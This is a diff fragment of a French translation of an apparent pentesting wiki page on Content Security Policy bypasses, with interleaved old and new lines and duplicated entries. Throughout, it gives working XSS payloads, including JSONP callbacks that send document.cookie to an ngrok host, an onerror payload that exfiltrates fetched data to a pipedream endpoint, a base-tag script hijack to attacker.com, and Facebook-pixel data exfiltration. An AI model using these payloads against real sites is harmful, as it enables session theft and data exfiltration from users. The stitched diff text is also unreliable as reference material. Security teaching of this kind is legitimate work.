* **child-src**: Spécifie les ressources autorisées pour les travailleurs web et le contenu des cadres intégrés.
|
||||
* **connect-src**: Restreint les URL qui peuvent être chargées en utilisant des interfaces comme fetch, WebSocket, XMLHttpRequest.
|
||||
* **frame-src**: Restreint les URL pour les cadres.
|
||||
* **frame-ancestors**: Spécifie quelles sources peuvent intégrer la page actuelle, applicable aux éléments tels que `<frame>`, `<iframe>`, `<object>`, `<embed>`, et `<applet>`.
|
||||
* **img-src**: Définit les sources autorisées pour les images.
|
||||
* **font-src**: Spécifie les sources valides pour les polices chargées en utilisant `@font-face`.
|
||||
* **font-src**: Spécifie les sources valides pour les polices chargées à l'aide de `@font-face`.
|
||||
* **manifest-src**: Définit les sources autorisées des fichiers de manifeste d'application.
|
||||
* **media-src**: Définit les sources autorisées pour le chargement d'objets multimédias.
|
||||
* **object-src**: Définit les sources autorisées pour les éléments `<object>`, `<embed>`, et `<applet>`.
|
||||
* **base-uri**: Spécifie les URL autorisées pour le chargement en utilisant les éléments `<base>`.
|
||||
* **form-action**: Liste les points de terminaison valides pour les soumissions de formulaires.
|
||||
* **base-uri**: Spécifie les URL autorisées pour le chargement à l'aide des éléments `<base>`.
|
||||
* **form-action**: Liste les points de terminaison valides pour les soumissions de formulaire.
|
||||
* **plugin-types**: Restreint les types MIME qu'une page peut invoquer.
|
||||
* **upgrade-insecure-requests**: Indique aux navigateurs de réécrire les URL HTTP en HTTPS.
|
||||
* **sandbox**: Applique des restrictions similaires à l'attribut sandbox d'un `<iframe>`.
|
||||
|
|
@ -121,7 +121,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)'>
|
|||
* `filesystem:`: Autorise le chargement de ressources à partir du système de fichiers.
|
||||
* `'report-sample'`: Inclut un échantillon du code en violation dans le rapport de violation (utile pour le débogage).
|
||||
* `'strict-origin'`: Similaire à 'self' mais garantit que le niveau de sécurité du protocole des sources correspond au document (seules les origines sécurisées peuvent charger des ressources à partir d'origines sécurisées).
|
||||
* `'strict-origin-when-cross-origin'`: Envoie des URL complètes lors de la réalisation de requêtes de même origine, mais envoie uniquement l'origine lorsque la requête est cross-origin.
|
||||
* `'strict-origin-when-cross-origin'`: Envoie des URL complètes lors de la réalisation de requêtes de même origine, mais n'envoie que l'origine lorsque la requête est cross-origin.
|
||||
* `'unsafe-allow-redirects'`: Autorise le chargement de ressources qui redirigeront immédiatement vers une autre ressource. Non recommandé car cela affaiblit la sécurité.
|
||||
|
||||
## Règles CSP non sécurisées
|
||||
|
|
@ -139,6 +139,10 @@ Working payload: `"/><script>alert(1);</script>`
|
|||
{% endcontent-ref %}
|
||||
|
||||
### 'unsafe-eval'
|
||||
|
||||
{% hint style="danger" %}
|
||||
Cela ne fonctionne pas, pour plus d'informations [**consultez ceci**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
|
||||
{% endhint %}
|
||||
```yaml
|
||||
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
|
||||
```
|
||||
|
|
@ -154,12 +158,12 @@ Si vous parvenez d'une manière ou d'une autre à faire en sorte qu'un **code JS
|
|||
```yaml
|
||||
Content-Security-Policy: script-src 'self' https://google.com https: data *;
|
||||
```
|
||||
Charge utile de travail :
|
||||
Payload fonctionnel :
|
||||
```markup
|
||||
"/>'><script src=https://attacker-website.com/evil.js></script>
|
||||
"/>'><script src=data:text/javascript,alert(1337)></script>
|
||||
```
|
||||
### Absence de object-src et default-src
|
||||
### Manque de object-src et default-src
|
||||
|
||||
{% hint style="danger" %}
|
||||
**Il semble que cela ne fonctionne plus**
|
||||
|
|
@ -167,7 +171,7 @@ Charge utile de travail :
|
|||
```yaml
|
||||
Content-Security-Policy: script-src 'self' ;
|
||||
```
|
||||
**Payloads de travail :**
|
||||
Payloads de travail :
|
||||
```markup
|
||||
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
|
||||
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
|
||||
|
|
@ -179,21 +183,21 @@ Content-Security-Policy: script-src 'self'; object-src 'none' ;
|
|||
```
|
||||
Si vous pouvez télécharger un fichier JS, vous pouvez contourner ce CSP :
|
||||
|
||||
Charge utile fonctionnelle :
|
||||
Payload fonctionnel :
|
||||
```markup
|
||||
"/>'><script src="/uploads/picture.png.js"></script>
|
||||
```
|
||||
Cependant, il est très probable que le serveur **valide le fichier téléchargé** et ne vous permettra d'**uploader que des types de fichiers spécifiques**.
|
||||
|
||||
De plus, même si vous pouviez télécharger un **code JS à l'intérieur** d'un fichier en utilisant une extension acceptée par le serveur (comme : _script.png_), cela ne suffirait pas car certains serveurs comme le serveur apache **sélectionnent le type MIME du fichier en fonction de l'extension** et les navigateurs comme Chrome **refuseront d'exécuter du code Javascript** à l'intérieur de ce qui devrait être une image. "Heureusement", il y a des erreurs. Par exemple, lors d'un CTF, j'ai appris qu'**Apache ne reconnaît pas** l'extension _**.wave**_, donc il ne la sert pas avec un **type MIME comme audio/\***.
|
||||
De plus, même si vous pouviez télécharger un **code JS à l'intérieur** d'un fichier en utilisant une extension acceptée par le serveur (comme : _script.png_), cela ne suffira pas car certains serveurs comme le serveur apache **sélectionnent le type MIME du fichier en fonction de l'extension** et les navigateurs comme Chrome **refuseront d'exécuter du code Javascript** à l'intérieur de quelque chose qui devrait être une image. "Heureusement", il y a des erreurs. Par exemple, d'un CTF, j'ai appris qu'**Apache ne reconnaît pas** l'extension _**.wave**_, donc il ne la sert pas avec un **type MIME comme audio/\***.
|
||||
|
||||
À partir de là, si vous trouvez une XSS et un téléchargement de fichier, et que vous parvenez à trouver une **extension mal interprétée**, vous pourriez essayer de télécharger un fichier avec cette extension et le contenu du script. Ou, si le serveur vérifie le format correct du fichier téléchargé, créez un polyglotte ([quelques exemples de polyglottes ici](https://github.com/Polydet/polyglot-database)).
|
||||
À partir de là, si vous trouvez une XSS et un téléchargement de fichier, et que vous parvenez à trouver une **extension mal interprétée**, vous pourriez essayer de télécharger un fichier avec cette extension et le contenu du script. Ou, si le serveur vérifie le format correct du fichier téléchargé, créez un polyglotte ([certains exemples de polyglottes ici](https://github.com/Polydet/polyglot-database)).
|
||||
|
||||
### Action de formulaire
|
||||
|
||||
Si l'injection de JS n'est pas possible, vous pouvez toujours essayer d'exfiltrer par exemple des informations d'identification en **injectant une action de formulaire** (et peut-être en espérant que les gestionnaires de mots de passe remplissent automatiquement les mots de passe). Vous pouvez trouver un [**exemple dans ce rapport**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). De plus, notez que `default-src` ne couvre pas les actions de formulaire.
|
||||
Si l'injection de JS n'est pas possible, vous pouvez toujours essayer d'exfiltrer par exemple des informations d'identification en **injectant une action de formulaire** (et peut-être en attendant que les gestionnaires de mots de passe remplissent automatiquement les mots de passe). Vous pouvez trouver un [**exemple dans ce rapport**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). De plus, notez que `default-src` ne couvre pas les actions de formulaire.
|
||||
|
||||
### Points de terminaison tiers + ('unsafe-eval')
|
||||
### Points d'extrémité tiers + ('unsafe-eval')
|
||||
|
||||
{% hint style="warning" %}
|
||||
Pour certains des payloads suivants, **`unsafe-eval` n'est même pas nécessaire**.
|
||||
|
|
@ -250,9 +254,7 @@ L'article montre que vous pourriez **charger** toutes les **bibliothèques** dep
|
|||
{{[].erase.call().alert('xss')}}
|
||||
</div>
|
||||
```
|
||||
## Contournement de la stratégie de sécurité du contenu (CSP) pour les noms de classe Angular
|
||||
|
||||
Le contournement de la CSP pour les noms de classe Angular peut être réalisé en exploitant une vulnérabilité XSS.
|
||||
## Contournement de la stratégie de sécurité du contenu (CSP) pour les noms de classe Angular:
|
||||
```html
|
||||
<div ng-app>
|
||||
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
|
||||
|
|
@ -298,7 +300,7 @@ Il est possible d'abuser de Google Apps Script pour recevoir des informations da
|
|||
```http
|
||||
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
|
||||
```
|
||||
Les scénarios comme celui-ci où `script-src` est défini sur `self` et un domaine particulier qui est autorisé peuvent être contournés en utilisant JSONP. Les points de terminaison JSONP permettent des méthodes de rappel non sécurisées qui permettent à un attaquant d'exécuter une XSS, charge utile de travail:
|
||||
Les scénarios comme celui-ci où `script-src` est défini sur `self` et un domaine particulier qui est autorisé peuvent être contournés en utilisant JSONP. Les points de terminaison JSONP permettent des méthodes de rappel non sécurisées qui permettent à un attaquant d'exécuter du XSS, charge utile de travail:
|
||||
```markup
|
||||
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
|
||||
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
|
||||
|
|
@ -314,9 +316,9 @@ La même vulnérabilité se produira si le **point de terminaison de confiance c
|
|||
|
||||
### Abus de tiers
|
||||
|
||||
Comme décrit dans le [post suivant](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), il existe de nombreux domaines tiers, qui pourraient être autorisés quelque part dans la CSP, peuvent être abusés pour soit exfiltrer des données soit exécuter du code JavaScript. Certains de ces tiers sont :
|
||||
Comme décrit dans le [post suivant](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), il existe de nombreux domaines tiers, qui pourraient être autorisés quelque part dans la CSP, peuvent être utilisés pour soit exfiltrer des données soit exécuter du code JavaScript. Certains de ces tiers sont :
|
||||
|
||||
| Entité | Domaine Autorisé | Capacités |
|
||||
| Entité | Domaine autorisé | Capacités |
|
||||
| ----------------- | -------------------------------------------- | ------------ |
|
||||
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
|
||||
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
|
||||
|
|
@ -337,33 +339,21 @@ Content-Security-Policy: default-src 'self’ www.facebook.com;
|
|||
|
||||
---
|
||||
|
||||
## Bypass de CSP basique avec l'exploitation de la directive `unsafe-inline`
|
||||
## Introduction
|
||||
|
||||
La directive `unsafe-inline` dans une politique de sécurité du contenu (CSP) permet l'exécution de scripts inline dans le code source d'une page web. Cela peut être exploité par un attaquant pour contourner la CSP et exécuter du code malveillant.
|
||||
Dans ce guide, nous allons discuter des différentes techniques de contournement de la Politique de Sécurité du Contenu (CSP) sur les sites web.
|
||||
|
||||
### Étape 1: Identifier la présence de la directive `unsafe-inline`
|
||||
## Qu'est-ce que la CSP ?
|
||||
|
||||
Pour contourner une CSP basique avec la directive `unsafe-inline`, vous devez d'abord vérifier si cette directive est présente dans l'en-tête CSP de la page web ciblée.
|
||||
La Politique de Sécurité du Contenu (CSP) est un mécanisme de sécurité qui aide à prévenir les attaques de type XSS en spécifiant les sources de confiance des ressources chargées par un site web. Cela permet de réduire les risques liés à l'exécution de scripts malveillants.
|
||||
|
||||
### Étape 2: Exploiter la directive `unsafe-inline`
|
||||
## Bypass de la CSP
|
||||
|
||||
Une fois que vous avez confirmé la présence de la directive `unsafe-inline`, vous pouvez insérer du code malveillant directement dans le code source de la page web pour contourner la CSP et exécuter des scripts malveillants.
|
||||
Il existe plusieurs façons de contourner une CSP, notamment en exploitant des vulnérabilités telles que les injections de code, les redirections, les fuites d'informations, etc.
|
||||
|
||||
---
|
||||
|
||||
## Bypass de CSP avancé avec des techniques d'ingénierie sociale
|
||||
|
||||
Les attaquants peuvent contourner des CSP plus strictes en utilisant des techniques d'ingénierie sociale pour inciter les utilisateurs à exécuter du code malveillant. Cela peut inclure des attaques de phishing, des redirections malveillantes ou des techniques de clickjacking.
|
||||
|
||||
### Étape 1: Identifier les vulnérabilités dans la mise en œuvre de la CSP
|
||||
|
||||
Recherchez des erreurs dans la configuration de la CSP qui pourraient être exploitées pour contourner la politique de sécurité.
|
||||
|
||||
### Étape 2: Utiliser des techniques d'ingénierie sociale
|
||||
|
||||
Une fois que vous avez identifié des vulnérabilités potentielles, utilisez des techniques d'ingénierie sociale pour inciter les utilisateurs à contourner la CSP et exécuter du code malveillant sur la page web.
|
||||
|
||||
---
|
||||
N'oubliez pas de toujours obtenir l'autorisation écrite avant de tester la sécurité d'un site web.
|
||||
```
|
||||
Content-Security-Policy: connect-src www.facebook.com;
|
||||
```
|
||||
|
|
@ -373,10 +363,10 @@ Vous devriez être capable d'exfiltrer des données, de la même manière que ce
|
|||
2. Créez une nouvelle application "Facebook Login" et sélectionnez "Site Web".
|
||||
3. Allez dans "Paramètres -> Base" et obtenez votre "ID d'application".
|
||||
4. Sur le site cible dont vous souhaitez exfiltrer des données, vous pouvez le faire directement en utilisant le gadget SDK Facebook "fbq" via un "customEvent" et la charge utile de données.
|
||||
5. Allez dans votre "Gestionnaire d'événements" de l'application et sélectionnez l'application que vous avez créée (notez que le gestionnaire d'événements peut être trouvé dans une URL similaire à ceci : https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
|
||||
5. Allez dans le "Gestionnaire d'événements" de votre application et sélectionnez l'application que vous avez créée (notez que le gestionnaire d'événements peut être trouvé dans une URL similaire à ceci : https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
|
||||
6. Sélectionnez l'onglet "Événements de test" pour voir les événements envoyés par "votre" site web.
|
||||
|
||||
Ensuite, du côté de la victime, exécutez le code suivant pour initialiser le pixel de suivi Facebook afin de pointer vers l'application ID de compte développeur Facebook de l'attaquant et émettre un événement personnalisé comme ceci :
|
||||
Ensuite, du côté de la victime, exécutez le code suivant pour initialiser le pixel de suivi Facebook afin de pointer vers l'ID d'application de l'application du compte développeur Facebook de l'attaquant et émettre un événement personnalisé comme ceci :
|
||||
```JavaScript
|
||||
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
|
||||
fbq('trackCustom', 'My-Custom-Event',{
|
||||
|
|
@ -399,7 +389,7 @@ Ainsi, ils le décoderont, demandant effectivement `https://example.com/scripts/
|
|||
|
||||
En **exploitant cette incohérence dans l'interprétation des URL entre le navigateur et le serveur, les règles de chemin peuvent être contournées**.
|
||||
|
||||
La solution consiste à ne pas traiter `%2f` comme `/` côté serveur, assurant une interprétation cohérente entre le navigateur et le serveur pour éviter ce problème.
|
||||
La solution est de ne pas traiter `%2f` comme `/` côté serveur, assurant une interprétation cohérente entre le navigateur et le serveur pour éviter ce problème.
|
||||
|
||||
Exemple en ligne : [ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
|
||||
|
||||
|
|
@ -413,8 +403,8 @@ Exemple en ligne : [ ](https://jsbin.com/werevijewa/edit?html,output)[https://js
|
|||
|
||||
Si la directive **base-uri** est manquante, vous pouvez en abuser pour effectuer une [**injection de balisage en suspens**](../dangling-markup-html-scriptless-injection/).
|
||||
|
||||
De plus, si la **page charge un script en utilisant un chemin relatif** (comme `<script src="/js/app.js">`) en utilisant un **Nonce**, vous pouvez abuser de la balise **base** pour faire **charger** le script depuis **votre propre serveur pour réaliser un XSS.**\
|
||||
Si la page vulnérable est chargée avec **httpS**, utilisez une URL httpS dans la balise de base.
|
||||
De plus, si la **page charge un script en utilisant un chemin relatif** (comme `<script src="/js/app.js">`) en utilisant un **Nonce**, vous pouvez abuser de la balise **base** pour faire en sorte qu'elle **charge** le script depuis **votre propre serveur pour réaliser un XSS.**\
|
||||
Si la page vulnérable est chargée avec **httpS**, utilisez une URL httpS dans la balise base.
|
||||
```html
|
||||
<base href="https://www.attacker.com/">
|
||||
```
|
||||
|
|
@ -427,7 +417,7 @@ En dirigeant ce tableau vers le filtre `orderBy`, il est possible de le parcouri
|
|||
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
|
||||
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
|
||||
```
|
||||
Ce extrait met en évidence l'utilisation de la directive `ng-focus` pour déclencher l'événement, en utilisant `$event.path|orderBy` pour manipuler le tableau `path`, et en exploitant l'objet `window` pour exécuter la fonction `alert()`, révélant ainsi `document.cookie`.
|
||||
Ce extrait met en évidence l'utilisation de la directive `ng-focus` pour déclencher l'événement, en utilisant `$event.path|orderBy` pour manipuler le tableau `path`, et en tirant parti de l'objet `window` pour exécuter la fonction `alert()`, révélant ainsi `document.cookie`.
|
||||
|
||||
**Trouvez d'autres contournements Angular sur** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
|
||||
|
||||
|
|
@ -471,11 +461,11 @@ Voici un exemple:
|
|||
```
|
||||
Si CSP est défini sur `https://www.google.com/a/b/c/d`, puisque le chemin est pris en compte, les scripts `/test` et `/a/test` seront bloqués par CSP.
|
||||
|
||||
Cependant, le lien final `http://localhost:5555/301` sera **redirigé côté serveur vers `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Comme il s'agit d'une redirection, le **chemin n'est pas pris en compte**, et le **script peut être chargé**, contournant ainsi la restriction du chemin.
|
||||
Cependant, le final `http://localhost:5555/301` sera **redirigé côté serveur vers `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Comme il s'agit d'une redirection, le **chemin n'est pas pris en compte**, et le **script peut être chargé**, contournant ainsi la restriction du chemin.
|
||||
|
||||
Avec cette redirection, même si le chemin est spécifié complètement, il sera quand même contourné.
|
||||
|
||||
Par conséquent, la meilleure solution est de s'assurer que le site web ne présente aucune vulnérabilité de redirection ouverte et qu'il n'y a pas de domaines qui peuvent être exploités dans les règles CSP.
|
||||
Par conséquent, la meilleure solution est de s'assurer que le site web n'a pas de vulnérabilités de redirection ouverte et qu'il n'y a pas de domaines qui peuvent être exploités dans les règles CSP.
|
||||
|
||||
### Contourner CSP avec du balisage suspendu
|
||||
|
||||
|
|
@ -493,7 +483,7 @@ Vous pouvez contourner ce CSP en exfiltrant les données via des images (dans ce
|
|||
```
|
||||
De : [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
|
||||
|
||||
Vous pourriez également abuser de cette configuration pour **charger du code JavaScript inséré à l'intérieur d'une image**. Par exemple, si la page permet de charger des images depuis Twitter. Vous pourriez **créer** une **image spéciale**, la **téléverser** sur Twitter et abuser de l'option "**unsafe-inline**" pour **exécuter** un code JS (comme un XSS classique) qui va **charger** l'**image**, **extraire** le **JS** de celle-ci et **l'exécuter** : [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
Vous pourriez également abuser de cette configuration pour **charger du code JavaScript inséré à l'intérieur d'une image**. Par exemple, si la page autorise le chargement d'images depuis Twitter. Vous pourriez **créer** une **image spéciale**, la **téléverser** sur Twitter et abuser de l'option "**unsafe-inline**" pour **exécuter** un code JS (comme un XSS classique) qui va **charger** l'**image**, **extraire** le **JS** de celle-ci et **l'exécuter** : [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
|
||||
### Avec les Travailleurs de Service
|
||||
|
||||
|
|
@ -525,7 +515,7 @@ Exemple: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y
|
|||
### img-src \*; via XSS (iframe) - Attaque temporelle
|
||||
|
||||
Remarquez l'absence de la directive `'unsafe-inline'`\
|
||||
Cette fois, vous pouvez faire en sorte que la victime **charge** une page sous **votre contrôle** via **XSS** avec un `<iframe`. Cette fois, vous allez faire en sorte que la victime accède à la page à partir de laquelle vous souhaitez extraire des informations (**CSRF**). Vous ne pouvez pas accéder au contenu de la page, mais si d'une manière ou d'une autre vous pouvez **contrôler le temps nécessaire à la page pour se charger**, vous pouvez extraire les informations dont vous avez besoin.
|
||||
Cette fois, vous pouvez faire charger à la victime une page sous **votre contrôle** via **XSS** avec un `<iframe`. Cette fois, vous allez faire en sorte que la victime accède à la page à partir de laquelle vous souhaitez extraire des informations (**CSRF**). Vous ne pouvez pas accéder au contenu de la page, mais si d'une manière ou d'une autre vous pouvez **contrôler le temps nécessaire à la page pour se charger**, vous pouvez extraire les informations dont vous avez besoin.
|
||||
|
||||
Cette fois, un **drapeau** va être extrait, chaque fois qu'un **caractère est correctement deviné** via SQLi, la **réponse** prend **plus de temps** en raison de la fonction de pause. Ensuite, vous pourrez extraire le drapeau:
|
||||
```html
|
||||
|
|
@ -589,15 +579,15 @@ run();
|
|||
```
|
||||
### Via Bookmarklets
|
||||
|
||||
Cette attaque impliquerait une certaine ingénierie sociale où l'attaquant **convainc l'utilisateur de faire glisser et déposer un lien sur le bookmarklet du navigateur**. Ce bookmarklet contiendrait du **code javascript malveillant** qui, lorsqu'il est glissé et déposé ou cliqué, serait exécuté dans le contexte de la fenêtre web actuelle, **contournant CSP et permettant de voler des informations sensibles** telles que des cookies ou des jetons.
|
||||
Cette attaque impliquerait un certain ingénierie sociale où l'attaquant **convainc l'utilisateur de faire glisser et déposer un lien sur le bookmarklet du navigateur**. Ce bookmarklet contiendrait du **code javascript malveillant** qui, lorsqu'il est glissé et déposé ou cliqué, serait exécuté dans le contexte de la fenêtre web actuelle, **contournant la CSP et permettant de voler des informations sensibles** telles que des cookies ou des jetons.
|
||||
|
||||
Pour plus d'informations, [**consultez le rapport original ici**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
|
||||
|
||||
### Contournement de CSP en restreignant CSP
|
||||
### Contournement de la CSP en restreignant la CSP
|
||||
|
||||
Dans [**ce compte rendu de CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP est contourné en injectant à l'intérieur d'un iframe autorisé un CSP plus restrictif qui interdit le chargement d'un fichier JS spécifique qui, ensuite, via la **pollution de prototype** ou le **dom clobbering** a permis d'**abuser d'un script différent pour charger un script arbitraire**.
|
||||
Dans [**ce compte rendu de CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), la CSP est contournée en injectant à l'intérieur d'un iframe autorisé une CSP plus restrictive qui interdisait le chargement d'un fichier JS spécifique qui, ensuite, via la **pollution de prototype** ou le **dom clobbering** permettait d'**abuser d'un script différent pour charger un script arbitraire**.
|
||||
|
||||
Vous pouvez **restreindre un CSP d'un Iframe** avec l'attribut **`csp`**:
|
||||
Vous pouvez **restreindre une CSP d'un iframe** avec l'attribut **`csp`**:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```html
|
||||
|
|
@ -605,19 +595,19 @@ Vous pouvez **restreindre un CSP d'un Iframe** avec l'attribut **`csp`**:
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Dans [**ce compte rendu de CTF**](https://github.com/aszx87410/ctf-writeups/issues/48), il était possible via une **injection HTML** de **restreindre** davantage un **CSP** afin qu'un script empêchant le CSTI soit désactivé et donc que la **vulnérabilité devienne exploitable.**\
|
||||
Le CSP peut être rendu plus restrictif en utilisant des **balises meta HTML** et les scripts en ligne peuvent être désactivés **en supprimant** l'**entrée** autorisant leur **nonce** et **en activant un script en ligne spécifique via sha**:
|
||||
Dans [**ce compte rendu CTF**](https://github.com/aszx87410/ctf-writeups/issues/48), il était possible via une **injection HTML** de **restreindre** davantage un **CSP** afin qu'un script empêchant le CSTI soit désactivé et donc que la **vulnérabilité devienne exploitable.**\
|
||||
Un CSP peut être rendu plus restrictif en utilisant des **balises meta HTML** et les scripts en ligne peuvent être désactivés **en supprimant** l'**entrée** autorisant leur **nonce** et **en activant un script en ligne spécifique via sha**:
|
||||
```html
|
||||
<meta http-equiv="Content-Security-Policy" content="script-src 'self'
|
||||
'unsafe-eval' 'strict-dynamic'
|
||||
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
|
||||
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">
|
||||
```
|
||||
### Exfiltration de JS avec Content-Security-Policy-Report-Only
|
||||
### Exfiltration JS avec Content-Security-Policy-Report-Only
|
||||
|
||||
Si vous parvenez à faire en sorte que le serveur réponde avec l'en-tête **`Content-Security-Policy-Report-Only`** avec une **valeur contrôlée par vous** (peut-être à cause d'un CRLF), vous pourriez le faire pointer vers votre serveur et si vous **enveloppez** le **contenu JS** que vous souhaitez exfiltrer avec **`<script>`** et parce que `unsafe-inline` est très probablement interdit par le CSP, cela **déclenchera une erreur CSP** et une partie du script (contenant les informations sensibles) sera envoyée au serveur depuis `Content-Security-Policy-Report-Only`.
|
||||
|
||||
Pour un exemple, consultez ce [**write-up CTF**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
|
||||
Pour un exemple, consultez [**cette solution CTF**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
|
||||
|
||||
### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
|
||||
```javascript
|
||||
|
|
@ -631,7 +621,7 @@ document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = documen
|
|||
|
||||
Il est intéressant de noter que les navigateurs comme Chrome et Firefox ont des comportements différents dans la gestion des iframes par rapport à CSP, ce qui peut entraîner une fuite potentielle d'informations sensibles en raison d'un comportement indéfini.
|
||||
|
||||
Une autre technique implique d'exploiter le CSP lui-même pour déduire le sous-domaine secret. Cette méthode repose sur un algorithme de recherche binaire et l'ajustement du CSP pour inclure des domaines spécifiques qui sont délibérément bloqués. Par exemple, si le sous-domaine secret est composé de caractères inconnus, vous pouvez tester de manière itérative différents sous-domaines en modifiant la directive CSP pour bloquer ou autoriser ces sous-domaines. Voici un extrait montrant comment le CSP pourrait être configuré pour faciliter cette méthode:
|
||||
Une autre technique implique d'exploiter le CSP lui-même pour déduire le sous-domaine secret. Cette méthode repose sur un algorithme de recherche binaire et sur l'ajustement du CSP pour inclure des domaines spécifiques qui sont délibérément bloqués. Par exemple, si le sous-domaine secret est composé de caractères inconnus, vous pouvez tester de manière itérative différents sous-domaines en modifiant la directive CSP pour bloquer ou autoriser ces sous-domaines. Voici un extrait montrant comment le CSP pourrait être configuré pour faciliter cette méthode:
|
||||
```markdown
|
||||
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
|
||||
```
|
||||
|
|
@ -649,7 +639,7 @@ Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSb
|
|||
Engagez-vous avec du contenu qui explore le frisson et les défis du hacking
|
||||
|
||||
**Actualités de Hacking en Temps Réel**\
|
||||
Restez à jour avec le monde du hacking en évolution rapide grâce aux actualités et aux informations en temps réel
|
||||
Restez à jour avec le monde du hacking en évolution rapide grâce aux actualités et aux analyses en temps réel
|
||||
|
||||
**Dernières Annonces**\
|
||||
Restez informé des dernières primes de bugs lancées et des mises à jour cruciales de la plateforme
|
||||
|
|
@ -674,18 +664,18 @@ setTimeout(function() {
|
|||
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
|
||||
}, 1000);
|
||||
```
|
||||
### QUELQUES + 'self' + wordpress
|
||||
### SOME + 'self' + wordpress
|
||||
|
||||
QUELQUES est une technique qui abuse d'une XSS (ou d'une XSS très limitée) **dans un point de terminaison d'une page** pour **abuser** **d'autres points de terminaison de la même origine.** Cela est fait en chargeant le point de terminaison vulnérable à partir d'une page d'attaquant, puis en actualisant la page de l'attaquant vers le vrai point de terminaison dans la même origine que vous souhaitez abuser. De cette manière, le **point de terminaison vulnérable** peut utiliser l'objet **`opener`** dans la **charge utile** pour **accéder au DOM** du **vrai point de terminaison à abuser**. Pour plus d'informations, consultez :
|
||||
SOME est une technique qui abuse d'une XSS (ou d'une XSS très limitée) **dans un point de terminaison d'une page** pour **abuser** **d'autres points de terminaison de la même origine.** Cela est fait en chargeant le point de terminaison vulnérable à partir d'une page d'attaquant, puis en actualisant la page de l'attaquant vers le vrai point de terminaison dans la même origine que vous souhaitez abuser. De cette manière, le **point de terminaison vulnérable** peut utiliser l'objet **`opener`** dans la **charge utile** pour **accéder au DOM** du **vrai point de terminaison à abuser**. Pour plus d'informations, consultez :
|
||||
|
||||
{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %}
|
||||
[some-same-origin-method-execution.md](../xss-cross-site-scripting/some-same-origin-method-execution.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
De plus, **wordpress** a un point de terminaison **JSONP** dans `/wp-json/wp/v2/users/1?_jsonp=data` qui **reflètera** les **données** envoyées en sortie (avec la limitation aux lettres, chiffres et points).
|
||||
De plus, **wordpress** a un point de terminaison **JSONP** dans `/wp-json/wp/v2/users/1?_jsonp=data` qui va **refléter** les **données** envoyées en sortie (avec la limitation aux lettres, chiffres et points).
|
||||
|
||||
Un attaquant peut abuser de ce point de terminaison pour **générer une attaque QUELQUES** contre WordPress et **l'intégrer** à l'intérieur de `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` notez que ce **script** sera **chargé** car il est **autorisé par 'self'**. De plus, et parce que WordPress est installé, un attaquant pourrait abuser de l'**attaque QUELQUES** à travers le **point de terminaison de rappel** **vulnérable** qui **contourne le CSP** pour donner plus de privilèges à un utilisateur, installer un nouveau plugin...\
|
||||
